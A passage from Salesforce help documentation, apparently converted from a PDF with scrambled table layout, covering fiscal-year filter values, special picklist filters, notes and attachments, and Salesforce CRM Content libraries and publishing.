The fiscal year is defined in the company profile at Your Name > Setup >
Company Profile > Fiscal Year.

LAST n FISCAL YEARS

Starts at 12:00:00 a.m. on the first day of the fiscal year n fiscal years ago
and continues through the end of the last day of the fiscal year before the
current fiscal year. (The range does not include the current fiscal year.) The
fiscal year is defined in the company profile at Your Name > Setup >
Company Profile > Fiscal Year.

NEXT n FISCAL YEARS

Starts at 12:00:00 a.m. on the first day of the fiscal year after the current
fiscal year and continues through the end of the last day of the nth fiscal
year. (The range does not include the current fiscal year.) The fiscal year is
defined in the company profile at Your Name > Setup > Company Profile
> Fiscal Year.

n FISCAL YEARS AGO

Starts at 12:00:00 a.m. on the first day of the fiscal year n fiscal years ago
and continues through the end of the last day of that fiscal year.

See Also:
Creating Custom List Views
Filtering on Special Picklist Values

Filtering on Special Picklist Values


The available fields vary according to which Salesforce Edition you have.

When creating filter criteria, you can use special picklist values for your search criteria. These are special picklists with values
of either True or False.
For example, to show all opportunities you have won, enter Won equals True as your search criteria. To show all closed/lost
opportunities, enter Closed equals True and Won equals False.
Note: If you are creating filter criteria for a report or list view, the lookup icon automatically displays when you choose
to filter on one of the special picklists. Click the lookup icon to choose the value True or False. Alternatively, you
can manually enter True or False in the filter criteria.
These are the available fields and their values:

283

List Views

Filtering on Special Picklist Values

Special Picklist Field

Value

Description

Accounts and contacts: Is Person

True

The account is a person account. For more information, see


What is a Person Account? on page 68. Note that your
administrator may have customized the name of this field.

Account

This field displays as the person account icon ( ).

Accounts, leads, and opportunities:

False

The account is a business account.

True

The account is a partner account, or the lead or opportunity


owner is a partner user. For more information, see Partner
Portal Overview on page 3458.

False

The account is not a partner account or the lead or


opportunity owner is not a partner user.

True

Applies only to events, not tasks. The event is marked as an


all day event.

False

The event has a specific time.

True

Applies only to tasks, not events. The task has been closed,
that is, the task Status field has a Closed value.

False

Task is still open.

True

Applies only to events, not tasks. The event is the meeting


invite sent to another user for a multi-person event.

False

The event is the original multi-person event assigned to the


event host.

False

Activity does not have a green sheet.

True

Activity is a task, not an event.

False

Activity is an event.

True

Campaign is active and can be chosen from various campaign


picklists, for example, in the campaign import wizards.

False

Campaign is inactive.

True

The case is closed, that is, the case Status field has a
Closed value.

False

Case is still open.

True

Case has been automatically escalated via your organization's


escalation rule.

False

Case has not been escalated.

Partner Account

Activities: All-day

Activities: Closed

Activities: Event Invitation


(Only for reports)

Activities: Task

Campaigns: Active

Cases: Closed

Cases: Escalated

Cases: New Self-Service Comment True


False

Case has a new comment added by a Self-Service user.


Case does not have a new Self-Service comment.

284

List Views

Filtering on Special Picklist Values

Special Picklist Field

Value

Description

Cases: Open

True

The case is open, that is, the case Status has a value that
is not equivalent to Closed.

False

Case has been closed.

True

Case has a comment added by a Self-Service user.

False

Case does not have a Self-Service comment.

True

The contact cannot be included in a mass email recipient


list.

False

The contact may receive mass email.

True

The contact is enabled to log in to your Self-Service portal.

False

The contact is not enabled for Self-Service.

True

The lead has been converted.

False

The lead has not been converted.

True

The lead cannot be included in a mass email recipient list.

False

The lead may receive mass email.

True

The lead has not yet been viewed or edited by the owner
since it was assigned to that user.

False

The lead has been viewed or edited at least once by the


owner since it was assigned.

True

The opportunity is closed, that is, the Stage field has a


value of the type Closed/Won or Closed/Lost.

False

The opportunity is still open.

True

The partner for the opportunity has been marked as the


primary partner.

False

The partner for the opportunity has not been marked as the
primary partner.

True

The opportunity owner has checked the Private box on


the opportunity edit page.

False

The Private box on the opportunity is not checked.

True

The opportunity is closed and won, that is, the Stage field
has a value of the type Closed/Won.

False

The opportunity has not been won. The Stage field may
have a value of the type Open or Closed/Lost.

(Only for reports)

Cases: Self-Service Commented

Contacts: Email Opt Out

Contacts: Self-Service Active


(Only for reports)

Leads: Converted
(Only for reports)

Leads: Email Opt Out

Leads: Unread

Opportunities: Closed

Opportunities: Primary
(Only for Partner Opportunities report)

Opportunities: Private

Opportunities: Won

285

List Views

Filtering on Special Picklist Values

Special Picklist Field

Value

Description

Products: Active

True

Product is active and can be added to opportunities in


Enterprise and Unlimited Edition organizations.

False

Product is inactive and cannot be added to opportunities.

True

Product has a default quantity schedule.

False

Product does not have a default quantity schedule.

True

Product has a default revenue schedule.

False

Product does not have a default revenue schedule.

True

The solution has been marked Visible in


Self-Service Portal and is visible to Self-Service portal
users.

False

Solution is not marked Visible in Self-Service


Portal and is not visible to Self-Service portal users.

True

The solution has been reviewed, that is, the solution Status
field has a Reviewed value.

False

Solution is not reviewed.

True

The translated solution has not been updated to match the


master solution with which it is associated.

False

The translated solution has been updated to match the


master solution with which it is associated.

True

User is active and can log in.

False

User is inactive and cannot log in.

True

User has access to use Connect Offline.

False

User is not enabled for Connect Offline use.

True

User can manage campaigns.

False

User is not enabled to manage campaigns.

True

User is a partner user. For more information, see Partner


Portal Overview on page 3458.

False

User is not a partner user.

Product: Has Quantity Schedule

Product: Has Revenue Schedule

Solutions: Visible in
Self-Service Portal

Solutions: Reviewed

Solutions Out of Date

Users: Active

Users: Offline User

Users: Marketing User

User: Is Partner

Note: The special picklists you can view are only those that are visible in your page layout and field-level security
settings. (Field-level security is available only in Enterprise, Unlimited, and Developer Editions).

See Also:
Creating Custom List Views
Special Date Values for Filter Criteria

286

Notes & Attachments

Viewing and Editing Google Docs, Notes, and Attachments

NOTES & ATTACHMENTS


Viewing and Editing Google Docs, Notes, and Attachments
Notes and attachments are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer
Editions
Google Docs available in all editions

You can create, view, and edit notes and add attachments from the Notes and Attachments related list on selected detail pages
such as accounts, contacts, leads, opportunities, and products. You can also add attachments from the Attachments related
list on selected detail pages such as cases, solutions, and campaigns.
If Chatter is enabled for your organization, files posted to a feed on a record are added to the record's Notes and Attachments
related list as feed attachments. You can preview (if available), download, and delete feed attachments from the Notes and
Attachments related list, but you can't edit them. You can view feed attachment details by clicking on the title of the file.
To learn the different ways files are used in Salesforce, see Differences between Files, Salesforce CRM Content, Salesforce
Knowledge, Documents, and Attachments on page 2441.
Note: If the Add Google Docs to Salesforce service is enabled in your organization, the Notes and Attachments
related list is entitled Google Docs, Notes, & Attachments, and the Attachments related list is entitled Google Docs
& Attachments.

To view the contents of a note, click the title of the note.


To view the details of all notes, attachments, or Google docs, click View All.
Note that the View All button only displays when there are records to view.

To view the details of an attachment, click the title of the file and then select the link on the Attached File detail page.
To view the details of a feed attachment, click the title of the file.
To edit a note or the title of an attachment, click Edit and make the changes you want. You can't edit the attached file
directly and you can't edit feed attachments.
To create a new Google doc, choose New Document, New Spreadsheet, or New Presentation from the Add Google
Doc drop-down button. For more information, see Adding Google Docs to Salesforce on page 332.
To associate an existing Google doc with the Salesforce record, choose Add Existing from the Add Google Doc drop-down
button. For more information, see Editing Google Doc Links on page 335.
To edit the title or URL of a Google doc, click Edit.
To delete a Google doc from the related list, click Del. This action removes the document's association with the record
but does not delete the document in Google Apps.
To view and modify the Google doc, click View.

Consider the following when working with notes, attachments, and Google docs:

To access a Google doc from a record detail page, the doc must be shared with your Google Apps account.

287

Notes & Attachments

Creating Notes

The size limit for an attached file is 5 MB when attached directly to the related list, including a file attached to a solution.
When a file is attached to a records Chatter feed its added to the Notes and Attachments related list as a feed attachment,
and the file size limit is 2 GB. The size limit for all files attached to an email is 10 MB.
All notes and attachments added to contacts and opportunities roll up under the associated account as well.
You cannot edit a note or attachment unless you also have access to edit the record associated with it.
To delete a note or attachment, you must be the owner of the note or attachment or an administrator with the Modify
all Data permission. Note ownership is determined by the owner field. Attachment ownership is determined by the created
by field.
Record owners (except Portal users) can delete attachments on records.
Notes and attachments marked as private via the Private checkbox are accessible only to the person who attached them
and administrators. For administrators to view private notes and attachments, they need the View All Data permission;
to edit or delete them, they need the Modify All Data permission.
The Notes and Attachments related list includes files from Salesforce CRM Content when they are posted to a Chatter
feed on a record. However, the Notes and Attachments related list does not include Salesforce CRM Content files that
only exist in Salesforce CRM Content. If your organization has Salesforce CRM Content enabled, you can add the Related
Content related list to the detail pages for accounts, contacts, leads, opportunities, cases, products, or custom objects. For
more information, see Finding Salesforce CRM Content on page 319.
Click Preview next to a feed attachment to display a preview of the file. Not all files can be previewed, such as copy-protected
PDFs, unknown file types, and any file larger than 25 MB. For files that can't be previewed, the Preview option isn't
available on feeds or list views, and files appear as generic file type icons in the feed. Some Microsoft Office 2007 features
don't display correctly in previews.
If Chatter is enabled for your organization, feed attachments are included in the Notes and Attachments related list. Portal
users can download feed attachments, but can't preview, edit, or delete them.

See Also:
Tagging Records
Using Google Docs in Salesforce
Creating Notes
Adding Attachments
Note and Attachment Fields
Deleting Notes and Attachments
Salesforce CRM Content Overview

Creating Notes
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

To create a note, click New Note in the Notes and Attachments related list of a record. Specify a description of the note and
its contents. The contents can contain up to 32KB of data.
If Spell Checker is enabled for your organization, click Check Spelling to check the spelling of the note. Spell Checker checks
the body of the note, not the title. Spell Checker does not support all the languages that Salesforce supports. For example,
Spell Checker doesnt support Thai, Russian, and double-byte languages, such as Japanese, Korean, or Chinese.

288

Notes & Attachments

Adding Attachments

Click Save when you have finished. Note that you need to have access to edit the record in order to create a note associated
with it.
Note: Any notes you add from contact or opportunity pages will display in the Notes and Attachments related list of
that record, as well as in the related list for the account they are associated with.

See Also:
Adding Attachments
Note and Attachment Fields

Adding Attachments
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

You can add an attachment to the Attachments related list of a case, solution, campaign, task, or event, or to the Notes and
Attachments related list of an account, contact, lead, opportunity, or custom object. If you don't see the related list on task or
event page layouts, you may need to ask your administrator to add it. All file types are supported, including everything from
Microsoft PowerPoint presentations and Excel spreadsheets, to Adobe PDFs, image files, audio files, and video files.
1.
2.
3.
4.

Click Attach File.


Select Browse to specify the location and name of the file.
Click Attach File to upload the file.
Select Done after the file finishes uploading.
Note:

You need permission to edit a record in order to add an attachment to it.


The size limit for an attached file is 5 MB when attached directly to the related list, including a file attached to a
solution. When a file is attached to a records Chatter feed its added to the Notes and Attachments related list as
a feed attachment, and the file size limit is 2 GB. The size limit for all files attached to an email is 10 MB.
If the Disallow HTML documents and attachments security setting is enabled for your organization, you
cannot upload files with the following file extensions: .htm, .html, .htt, .htx, .mhtm, .mhtml, .shtm,
.shtml, .acgi. HTML attachments are not permitted on solutions, regardless of whether this security setting
is enabled. In addition, this setting does not affect attachments on email templates; HTML attachments on email
templates are always permitted.

After a file is attached to the Attachments or Notes and Attachments related list, you can click View All to view the details
of all the attachments on the related list. Note that the View All button only displays when there are records to view.

See Also:
Creating Notes
Note and Attachment Fields
File Size Limits in Salesforce

289

Notes & Attachments

Note and Attachment Fields

Note and Attachment Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Notes and attachments have the following fields, listed in alphabetical order.
Attachment Fields
Field

Description

Description

Description of the uploaded file.

File Name

Name of the uploaded file.

Private

Checkbox to indicate that the attachment is only accessible


to the owner and administrators. For administrators to view
private attachments, they need the View All Data permission;
to edit them, they need the Modify All Data permission.

Share With Connections

Checkbox to indicate that the attachment is shared with


connections when the parent record is shared. This checkbox
is only available if Salesforce to Salesforce is enabled, the parent
record is shared, and the attachment is public.

Size

Size of the uploaded file.

Note Fields
Field

Description

Body

Text of the note. Can hold up to 32KB of data.

Private

Checkbox to indicate that note is only accessible to the owner


and administrators. For administrators to view private notes,
they need the View All Data permission; to edit them, they
need the Modify All Data permission.

Title

Short description of note. Up to 80 characters are allowed in


this field.

See Also:
Adding Attachments
Creating Notes

290

Salesforce CRM Content

Deleting Notes and Attachments

Deleting Notes and Attachments


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

To delete a note or attachment, click Del next to the note or attachment in the Notes and Attachments related list or
Attachments related list of a record. Deleted notes and attachments can be restored from the Recycle Bin.
To delete a file that was attached from a Chatter feed, click Del next to the feed attachment. This removes the file from all
Chatter feeds where it's been shared and deletes the file from the Notes and Attachments related list. Restore the file by
clicking on the Recycle Bin, selecting the file, and clicking Undelete. If the file was attached from your computer, a Chatter
feed, group, or a Salesforce CRM Content library, deleting it from the Notes and Attachments related list also removes it
from the post, but doesn't delete it from its original location.

See Also:
Recycle Bin

SALESFORCE CRM CONTENT


Salesforce CRM Content Overview
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

With Salesforce CRM Content you can organize, share, search, and manage content within your organization and across key
areas of the Salesforce application. Content can include all file types, from traditional business documents such as Microsoft
PowerPoint presentations to audio files, video files, Web pages, and Google docs.
To learn the different ways files are used in Salesforce, see Differences between Files, Salesforce CRM Content, Salesforce
Knowledge, Documents, and Attachments on page 2441.

Overview
Salesforce CRM Content simplifies content management by incorporating user-friendly features into the following tasks:
Organizing
Rather than keep files in folders that make content difficult to find, Salesforce CRM Content stores files in fully searchable
file repositories known as libraries. Administrators can create multiple libraries based on any classification, such as
department name, job function, or team, then configure user permissions within the library to balance content access
with security. Authors assign descriptive labels called tags to help classify and organize content across libraries. You can
view a list of all content that belongs to a particular tag or filter search results based on a tag or tags. Salesforce CRM
Content also provides personal libraries, which allow users to reduce the clutter on their desktops while using
content-management benefits such as document search and version control.

291

Salesforce CRM Content

Salesforce CRM Content Overview

Searching
The powerful Salesforce CRM Content search engine scans the entire body of the document as well as content properties
such as the title, description, tags, categorization data, and author name. You can filter searches by featured content, file
format, author, tags, libraries, or custom fields and then view the results with various levels of detail, providing an easy
way to find relevant content quickly. If Chatter is enabled for your organization, you can also filter your search results
by Chatter files. The smart bar graphic for downloads, comments, ratings, and subscribers allows you to compare
documents within a search result set.
Subscribing
Once a file is located, subscribing to it ensures that you receive an email notification when new versions are published
or changes are made to the file's properties. You can also subscribe to authors, tags, and libraries, thus reducing the time
spent searching for new or updated content. Notification emails will arrive real-time or once daily, depending on your
preferences.
Previewing
In Salesforce CRM Content you do not need to download a large document to determine if its content is relevant to
you. The content details page provides document details at a glance, including document title, author, description, tags,
libraries, comments, votes, versions, subscribers, and downloads. If the document is a Microsoft PowerPoint, Word,
Excel, or Adobe PDF file, you can preview the entire file in your browser without downloading it. Some Microsoft
Office 2007 features don't display correctly in previews. Copy-protected PDFs can't be previewed.
Contributing
Uploading new or revised files in Salesforce CRM Content is fast and easy. During the upload process you choose a
library and content type for your file or Web link, write a description, assign one or more tags, and fill out any customized
fields that help categorize and define your content. Version management does not require checking files in and out,
rather, you simply upload a new version of the file and Salesforce CRM Content maintains a version list accessible from
the content details page. You can download past versions of a file and read all reason-for-change comments that an
author may have included with a new version.
Reviewing Usage and Providing Feedback
Salesforce CRM Content provides several methods for determining whether content is valuable to readers. Featuring a
piece of content increases its visibility in search results. Voting thumbs up or thumbs down on a file, Web link, or Google
doc and adding comments allow you to participate directly in content improvement. You can also see who has subscribed
to a file, link, or doc and how many times files have been downloaded. The Reports tab allows you to create standard or
custom reports on Salesforce CRM Content data. If the content delivery feature is enabled, you can send content to
colleagues, leads, and contacts and then track how often the content has been previewed or downloaded.
Sharing Content in Salesforce
Salesforce CRM Content is also integrated with leads, accounts, contacts, opportunities, cases, products, and custom
objects. If Salesforce CRM Content functionality is enabled on the Opportunity tab, for example, Salesforce CRM
Content uses the fields on the opportunity detail page to search for files that may be relevant to that opportunity. You
can drill down in the search results as needed or run your own search and then attach one or more files to the opportunity.
The most current version of the file will be available on the detail page for the life of the opportunity.
Sharing Content in Salesforce Mobile
Salesforce CRM Content is available in Salesforce Mobile. Users can share content with customers and colleagues from
the mobile application when they're away from their desks. To enable Salesforce CRM Content for the mobile application,
mobilize the content object and specify which content records are synchronized to the mobile device.

Implementation Tips

To implement Salesforce CRM Content for your organization, see Setting Up Salesforce CRM Content on page 1443.

292

Salesforce CRM Content

Salesforce CRM Content Overview

Before creating libraries, review the files you plan to store in Salesforce CRM Content to determine how many libraries
you need and what content belongs in each library. Users are given access to content based on library.
If you have a large number of Salesforce CRM Content users, create a public group and add the group to a library rather
than adding users to the library individually.
To enable Salesforce CRM Content functionality for leads, accounts, contacts, opportunities, cases, products, or custom
objects, add the Related Content related list to the appropriate page layout. For more information, see Customizing Page
Layouts on page 1278.
To send web-formatted content to colleagues, leads, or contacts and associate it with Salesforce records, add the Content
Deliveries related list to the page layout for leads, accounts, contacts, opportunities, cases, campaigns, or custom objects.
For more information about content deliveries and a full list of implementation tips and best practices, see Setting up
Content Deliveries on page 1462.
To allow users to publish, edit, and search in any of the Salesforce-supported languages, go to Your Name > Setup >
Customize > Salesforce CRM Content > Settings and click Enable multi-language search and contribute.
To associate Google docs with a library, the Add Google Doc to Salesforce service must be activated for your organization.
For more information, see Activating Google Docs in Salesforce on page 331.
If you want PDFs to open inline rather than in a separate window, go to Your Name > Setup > Customize > Salesforce
CRM Content > Settings and click Do not open PDFs in a separate window. Copy-protected PDFs can't be
previewed.
Salesforce CRM Content is available via the Customer Portal and partner portal. For more information, see Enabling
Salesforce CRM Content in the Customer Portal on page 1690 and Enabling Salesforce CRM Content in the Partner Portal
on page 3467.
For information about using Google Docs with Salesforce CRM Content, see Contributing Google Docs to Salesforce
CRM Content on page 303.
All Salesforce CRM Content items display as primary tabs in the Service Cloud Console. For more information, see Service
Cloud Console Overview on page 3312.

Best Practices

If you are using the Related Content related list on Salesforce objects, align your custom content fields with the standard
and custom fields on the object to increase the accuracy of a Find Content search. Clicking the Find Content button
on the related list matches content to the fields on the record and displays search results containing the related content.
To ensure that content is classified consistently, define consistent tag names with your contributors. For example, by
establishing tag names at the outset, you can avoid having tags such as channel and channels in the same library.
Avoid using too many tags. The search engine helps users find specific content, whereas tags enable users to browse and
subscribe. Therefore, excessive tagging creates unnecessary clutter.
You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase letters.
The case of the original tag is always used.
To highlight valuable content and make it easier to find, mark it as featured on the content details page. Featured content
receives a higher priority than similar content in search results, and appears on the Libraries tab for easy access. To feature
content, users must have the Feature Content option checked in their library permission.
If your organization uses Google Docs, encourage library members to add their Google docs to a library. Including Google
docs in Salesforce CRM Content allows users to access all types of content from a single location and apply Salesforce
CRM Content functionality, such as votes, comments, and subscriptions, to Google docs.

293

Salesforce CRM Content

Managing Libraries

Managing Libraries
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create libraries:

Manage Salesforce CRM Content


OR
Create Libraries

To edit libraries:

Manage Salesforce CRM Content


OR
Manage Libraries checked in your library permission

definition

Clicking the Libraries tab opens the libraries home page. On the home page you can access your personal library, create new
libraries in Salesforce CRM Content, choose a specific library to view or edit, and analyze library usage and activity. For details
about the publishing options at the top of the page, see Uploading and Publishing Content on page 299. The libraries home
page has two tabs: Shared Content, which provides information about shared libraries, and My Personal Content, which
contains information about your personal library.

Shared Content
The Shared Content tab on the libraries home page contains the following sections:
My Libraries
This section lists all the libraries to which you have access. Click a library name to view details about that library or click
Browse to view a list of all the content in the library. Click the New button to create new libraries, add users to a library,
or assign library permissions to users. For more information, see Creating Libraries on page 1458.
Featured Content
This section lists the five pieces of content in your libraries most recently designed as featured. Featured content receives
a higher priority than similar content in search results; for example, if 100 files contain the search criteria term sales
asset, any featured files with that term will appear at the top of the search results list. To see all featured content, click
Show All. To toggle a piece of content's feature status on or off, go to its content details page.
Top Content
This section includes lists that summarize content activity across all your libraries. Each list sorts content according to
specific criteria. Within a list, click a file icon to download content or click a title to open the associated content details
page. In the Top Content section you can choose from the following categories:

Publication DateThis content is sorted in descending order according to the most recent publication date. Choose
the number of records you want to view from the accompanying drop-down list, or click the Show All button to list
all the published files, Web links, and Google docs.

294

Salesforce CRM Content

Managing Libraries

Num DownloadsThis content is sorted in descending order according to the highest number of downloads. The
bar graphic indicates how one record compares to another. Choose the number of records you want to view from the
accompanying drop-down list, or click the Show All button to list all the downloaded content.
RatingThis content is sorted in descending order according to the highest number of thumbs-up votes. Green
and red in the bar graphic represent positive and negative votes, respectively. Choose the number of records you want
to view from the accompanying drop-down list, or click the Show All button to list all the content with votes.
Num CommentsThis content is sorted in descending order according to the highest number of viewer comments.
The bar graphic indicates how one record compares to another. Choose the number of records you want to view
from the accompanying drop-down list, or click the Show All button to list all the content with associated comments.

Popular Tags
This section, commonly referred to as a tag cloud, shows you how the content in your libraries has been labeled. Tags
are descriptive terms assigned during upload or revision that help classify and organize content. Click a tag name to view
search results containing all the files, Web links, and Google docs with that tag. The tag names increase in size within
the tag cloud according to popularity, meaning that the largest tags have been assigned to the most content. You can
choose to sort the tags alphabetically or by popularity. The tag cloud contains the 30 most popular tags.
Recent Activity
This section is a snapshot of activity within your libraries. It shows the most recent files, Web links, and Google docs
to receive comments, votes, or subscriptions. Featured content and newly published content are also included, but new
versions of existing content, archived content, and deleted content do not appear in the Recent Activity section. Use the
Older and Newer buttons to scroll through records. The Recent Activity section contains a maximum of 100 records.
Most Active Contributors
This section shows the authors who have published content into your libraries most frequently. The names increase in
size according to activity, so the largest names are the authors who have contributed the most content.

My Personal Content
The My Personal Content tab on the libraries home page is your private library. When you upload or create content and do
not select a public library, your content is stored in your private library. You can publish content to a public library at any time
or leave content in your private library indefinitely. Content in your private library can be assembled in content packs. It can
also be sent to leads and contacts outside your organization using the content delivery feature. See Setting up Content Deliveries
on page 1462 for more information. The My Personal Content tab has the following sections:
Personal Library
If you choose the Save to my personal library option when publishing a file, Web link, content pack, or Google doc,
your content is saved here. You can publish or delete files from this list or click the file's name to view its content details
page. The following options that are available on the content details page for shared content are not available for
personal-library content: tagging, rating, subscribing, tracking downloads, tracking subscriptions, or using custom fields.
If you publish a file from the Personal Library list and click Cancel during the publishing process, your file is deleted.
Upload Interrupted
If an error occurs when you are uploading a new file, for example your browser crashes or your session times out, the file
you were uploading is saved here. Click Publish to publish the file to a public library or save it to your personal library.
If you click Cancel on the Save or Publish Content dialog, your file will be deleted.

295

Salesforce CRM Content

Viewing and Editing Libraries

Revision Upload Interrupted


If an error occurs when you are uploading a new version of a file, the file you were uploading is saved here. Users can
continue to access the original version. Click Publish to publish the file to a public library or save it to your personal
library. If you click Cancel on the Save or Publish Content dialog, your file will be deleted.

See Also:
Creating Libraries
Managing Library Permissions
Viewing and Editing Libraries
Uploading and Publishing Content
Searching for Content
Creating Content Deliveries

Viewing and Editing Libraries


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit a library:

Manage Salesforce CRM Content


OR
Manage Libraries checked in your library permission

definition
To add or remove library members:

Manage Salesforce CRM Content


OR
Manage Libraries checked in your library permission

definition

Once you have located a Salesforce CRM Content library in the My Libraries area of the Libraries tab home page or on a
content details page, click the library name to display detailed information. For details about the publishing options at the top
of the page, see Uploading and Publishing Content on page 299.
From the library title area, you can click the following quick links:

Browse to view search results showing all the content in the library.
Edit to change the library name or description.
Delete to delete an empty library. If you want to delete a library that contains content, you must first move the content to
another library or delete it and empty the Recycle Bin.
Note: If your Recycle Bin is empty and you are unable to delete the library, another user's Recycle Bin may contain
deleted content from the same library. A library cannot be deleted until all its content is permanently deleted or
moved to another library.

296

Salesforce CRM Content

Viewing and Editing Libraries

Edit Members to add or remove library members or change their library permission.
Tagging Rules to change the tagging method permitted in the library.
Content Types to restrict the content types available to library contributors.
View Archived Content to view a list of archived content in the library. If you do not have the Archive Content or
Manage Libraries privilege in your library permission, the archived content list only contains content that you authored
and archived, not content that other authors archived.

The library detail page contains the following sections:


Members
This section lists all the Salesforce CRM Content users who are members of the library. To limit the member list, enter
a username and click Filter. You can filter by the beginning of a username but not the last name.
To add new members to the library:
1. Click Add Members.
2. If you do not immediately see the member you want to add, enter keywords in the search box and click Find.
3. Select members from the Available Members box. Members can include individual Salesforce CRM Content users
or public groups containing Salesforce CRM Content users.
Tip: If you have a large number of Salesforce CRM Content users, create a public group and add the group
to a library rather than adding users to the library individually.
4. Click Add to add the members to the library.
5. Click Next.
6. Select a library permission for each user or public group and click Save.
To remove a member from the library, click Remove. To change a member's library permission, click Edit and choose
a new library permission from the drop-down list.
Featured Content
This section lists the five pieces of content in the library most recently designated as featured. If no content has been
featured, this section does not display. Featured content receives a higher priority than similar content in search results;
for example, if 100 files contain the search criteria term sales asset, any featured files with that term will appear at
the top of the search results list. To see all featured content, click Show All. To toggle the feature status on or off, go
to its content details page.
Top Content
This section includes lists that summarize content activity in your library. Within a list, click a file icon to download the
content or click the title to open the associated content details page. In the Top Content section you can choose from
the following categories:

Publication DateThis content is sorted in descending order according to the most recent publication date. Choose
the number of records you want to view from the accompanying drop-down list, or click the Show All button to list
all the published files, Web links, and Google docs.
Num DownloadsThis content is sorted in descending order according to the highest number of downloads. The
bar graphic indicates how one record compares to another. Choose the number of records you want to view from the
accompanying drop-down list, or click the Show All button to list all the downloaded content.

297

Salesforce CRM Content

Viewing and Editing Libraries

RatingThis content is sorted in descending order according to the highest number of thumbs-up votes. Green
and red in the bar graphic represent positive and negative votes, respectively. Choose the number of records you want
to view from the accompanying drop-down list, or click the Show All button to list all the content with votes.
Num CommentsThis content is sorted in descending order according to the highest number of viewer comments.
The bar graphic indicates how one record compares to another. Choose the number of records you want to view
from the accompanying drop-down list, or click the Show All button to list all the content with associated comments.

Popular Tags
This tag cloud shows you how the content in your library has been labeled. Tags are descriptive terms assigned during
upload or revision that help classify and organize content. Click a tag name to view search results containing all the files,
Web links, and Google docs with that tag. The tag names increase in size within the tag cloud according to popularity,
meaning that the largest tags have been assigned to the most content. You can choose to sort the tags alphabetically or
by popularity. The tag cloud contains the 30 most popular tags.
Recent Activity
This section is a snapshot of activity within your library. It shows the most recent files, Web links, and Google docs to
receive comments, votes, or subscriptions. Featured content and newly published content are also included, but new
versions of existing content, archived content, and deleted content do not appear in the Recent Activity section. Use the
Older and Newer buttons to scroll through records. The Recent Activity section contains a maximum of 100 records.
Most Active Contributors
This section shows the authors who have uploaded content into your library most frequently. The names increase in size
according to activity, so the largest names are the authors who have contributed the most content.

See Also:
Managing Libraries
Creating Libraries
Assigning Library Tagging Rules
Restricting Content Types
Searching for Content
Uploading and Publishing Content
Deleting, Archiving, and Restoring Content

298

Uploading and Publishing

Uploading and Publishing Content

UPLOADING AND PUBLISHING


Uploading and Publishing Content
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To upload and publish files and Web links:

Manage Libraries checked in your library permission

definition
OR
Add Content checked in your library permission definition

To create and publish Google docs:

Google Apps account

The Libraries tab has several publishing-related options at the top of the page that let you upload, classify, and publish files,
content packs, Web links, and Google docs in Salesforce CRM Content.
Note: The Add Google Doc drop-down list on the Libraries tab only displays if your administrator has enabled the
Add Google Doc to Salesforce service. For more information, see Activating Google Docs in Salesforce on page 331.
For information about associating Google docs with Salesforce CRM Content from your Google Apps account, see
Installing the Add Google Doc to Salesforce Browser Button on page 336.
To publish files, Web links, and Google docs in Salesforce CRM Content, or to create content packs, refer to the following
topics:

Contributing Files to Salesforce CRM Content


Contributing Web Links to Salesforce CRM Content
Contributing Google Docs to Salesforce CRM Content
Creating and Modifying Content Packs in Salesforce CRM Content

See Also:
Salesforce CRM Content File Size Limits
Using Google Docs in Salesforce
Searching for Content
Updating Content Versions

299

Salesforce CRM Content

Contributing Files to Salesforce CRM Content

Contributing Files to Salesforce CRM Content


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To upload and publish files to a public library:

Manage Libraries checked in your library permission

definition
OR
Add Content checked in your library permission definition

To upload and save files to a personal library:

None

To publish a file in Salesforce CRM Content:


1. Click the Libraries tab.
2. To publish a new file, click Browse and select the file. To publish a file that is already in your personal library, click the
My Personal Content tab, locate the file, and then click Publish.
Note: To publish multiple pieces of content at once, select two or more checkboxes in the My Personal Content
tab and click Publish Selected. All selected content displays in a tab set within the Save or Publish Content dialog.
Complete the following steps for each tab in the Save or Publish Content dialog.
3. Assign a title and description to your file.
4. Choose a library. This becomes the managing (home) library, meaning that the content can be shared with another library
but only revised by a user with author permissions in the managing library. If you do not want the content to be visible to
other users in your organization, for example if your work is still in progress, choose Save in my personal library.
5. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you do
not choose a language, Salesforce CRM Content associates your content with your personal language setting. If users
restrict their content searches to a particular language, only content associated with that language is displayed in the search
result set.
6. To publish the content on behalf of another author, choose that author from the drop-down list.
7. Tag your content. Your tagging permission depends on the tagging rule assigned to the library:

If the library does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter tags in
the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags list and
the Popular Tags section on the Libraries tab. The My Recent Tags list on the Contribute window shows the 20 tags
you have used most recently. Click a tag to add it to the Tags field automatically.
If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new
tag. Click a suggested tag to add it to the Tags field automatically.
If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you
select a tag it turns green.
You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase
letters. The case of the original tag is always used.

300

Salesforce CRM Content

Salesforce CRM Content File Size Limits

8. If multiple content types are available, choose one from the drop-down list. The content type determines which custom
fields appear for you to categorize and define your content.
9. After completing the custom fields, click Publish or Save.
Note:

Unique values in custom fields that are set for the first version of a file aren't included if you upload a new version.
You can set the unique values in the new version as long as they aren't the same as a previous version.
Files published to a shared library are added to your Files tab and available to other Chatter users in your organization.
Files published to your personal library are added to your Files tab, but are private and not shared with anyone.
For more information about Chatter files and Salesforce CRM Content files, see What is the difference between
Files, Salesforce CRM Content, Salesforce Knowledge, and Documents? on page 3566
Contact Manager, Group, Professional, Enterprise, and Unlimited Edition customers can publish a maximum of
5,000 new versions per 24hour period. Developer Edition and trial users can publish a maximum of 2,500 new
